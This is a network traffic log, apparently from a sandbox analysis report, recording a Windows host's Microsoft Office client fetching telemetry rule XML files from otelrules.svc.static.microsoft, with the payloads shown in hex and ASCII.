27	192.168.2.17	49726	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:15 UTC	199	OUT	GET /rules/rule703550v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:15 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:15 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3F3631C" x-ms-request-id: d4431e15-e01e-0085-6351-97c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160315Z-186895dd8bdh8h7whC1EWRqw7s000000074g00000000b1a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:15 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 75 6d 65 6e 74 58 52 61 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 6f 63 75 6d 65 6e 74 58 52 61 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703550" V="0" DC="SM" EN="Office.Telemetry.Event.Office.DocumentXRay" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDocumentXRay" S="Medium" /> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.17	49727	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:16 UTC	199	OUT	GET /rules/rule700451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:16 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF341BCB" x-ms-request-id: e59c2383-401e-008c-4051-9786c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160316Z-186895dd8bdfvrj8hC1EWRcaww000000088g000000003xud x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:16 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 6f 63 73 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Docs.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDocs"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.17	49728	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:16 UTC	199	OUT	GET /rules/rule702701v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:16 GMT Content-Type: text/xml Content-Length: 1404 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD76594E" x-ms-request-id: 29928c02-001e-005a-6921-97c3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160316Z-186895dd8bdbgz5hhC1EWR2wnc00000002mg00000000euv3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:16 UTC	1404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 73 2e 41 70 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702701" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Docs.Apple.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.17	49729	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:16 UTC	199	OUT	GET /rules/rule702700v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:16 GMT Content-Type: text/xml Content-Length: 1367 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:04 GMT ETag: "0x8DC582BEBBC4213" x-ms-request-id: 07e76e77-401e-00ac-4a44-970a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160316Z-186895dd8bdbfcjthC1EWR3g0000000006yg00000000dk5n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:16 UTC	1367	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 73 2e 41 70 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 6f 63 73 41 70 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702700" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Docs.Apple" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDocsApple" S="Medium" /> <F T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.17	49730	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:16 UTC	199	OUT	GET /rules/rule700450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:16 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:16 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE57CD3FB" x-ms-request-id: 56ad8262-701e-0050-2021-976767000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160316Z-186895dd8bdx922jhC1EWRcnfs000000077g00000000mbfm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:16 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 6f 63 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 6f 63 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Docs" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDocs" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.17	49731	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:17 UTC	199	OUT	GET /rules/rule701901v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:17 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE60DB429" x-ms-request-id: 19b26bd0-801e-00ac-5f2f-97fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160317Z-186895dd8bdmqlthhC1EWRay9g00000006p000000000eeta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:17 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 39 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 69 61 67 6e 6f 73 74 69 63 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701901" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Diagnostics.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.17	49732	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:17 UTC	199	OUT	GET /rules/rule701900v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:17 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE44A7711" x-ms-request-id: 196749a9-801e-00ac-4b16-97fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160317Z-186895dd8bdmqlthhC1EWRay9g00000006v00000000002sq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-17 16:03:17 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 39 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 69 61 67 6e 6f 73 74 69 63 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 69 61 67 6e 6f 73 74 69 63 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701900" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Diagnostics" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDiagnostics" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.17	49735	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:17 UTC	199	OUT	GET /rules/rule703251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:17 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE2D942BE" x-ms-request-id: 133b10e8-001e-000b-0151-9715a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160317Z-186895dd8bdcz2nqhC1EWR2ak400000007f000000000gpb1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:17 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 72 65 55 49 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.CoreUI.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCor

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.17	49733	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:17 UTC	199	OUT	GET /rules/rule704001v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:17 GMT Content-Type: text/xml Content-Length: 1419 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDEC4EF80" x-ms-request-id: 3614701d-501e-005b-4451-97d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160317Z-186895dd8bd2r62ghC1EWRf0v000000005vg00000000ftp5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:17 UTC	1419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 30 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 69 61 67 6e 6f 73 74 69 63 73 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704001" V="0" DC="SM" EN="Office.Telemetry.Event.Office.DiagnosticsSystem.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTen

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.17	49734	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:17 UTC	199	OUT	GET /rules/rule704000v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:17 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:17 GMT Content-Type: text/xml Content-Length: 1382 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD58756F" x-ms-request-id: 231c2991-a01e-0098-3b51-978556000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160317Z-186895dd8bdlbckjhC1EWR44e4000000040g00000000geyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:17 UTC	1382	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 34 30 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 44 69 61 67 6e 6f 73 74 69 63 73 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 44 69 61 67 6e 6f 73 74 69 63 73 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="704000" V="0" DC="SM" EN="Office.Telemetry.Event.Office.DiagnosticsSystem" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenDiagnosticsSystem" S="Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.17	49736	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:17 UTC	199	OUT	GET /rules/rule703250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:52 GMT ETag: "0x8DC582BE4B05315" x-ms-request-id: 023cb544-201e-006e-7851-97bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160317Z-186895dd8bdqzr24hC1EWRscdn000000035g00000000b6m9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 72 65 55 49 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6f 72 65 55 49 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.CoreUI" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCoreUI" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.17	49737	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:18 UTC	199	OUT	GET /rules/rule702401v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:18 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7663425" x-ms-request-id: 746b11bb-c01e-0049-5f51-97ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160318Z-186895dd8bd2r62ghC1EWRf0v000000006100000000017hx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
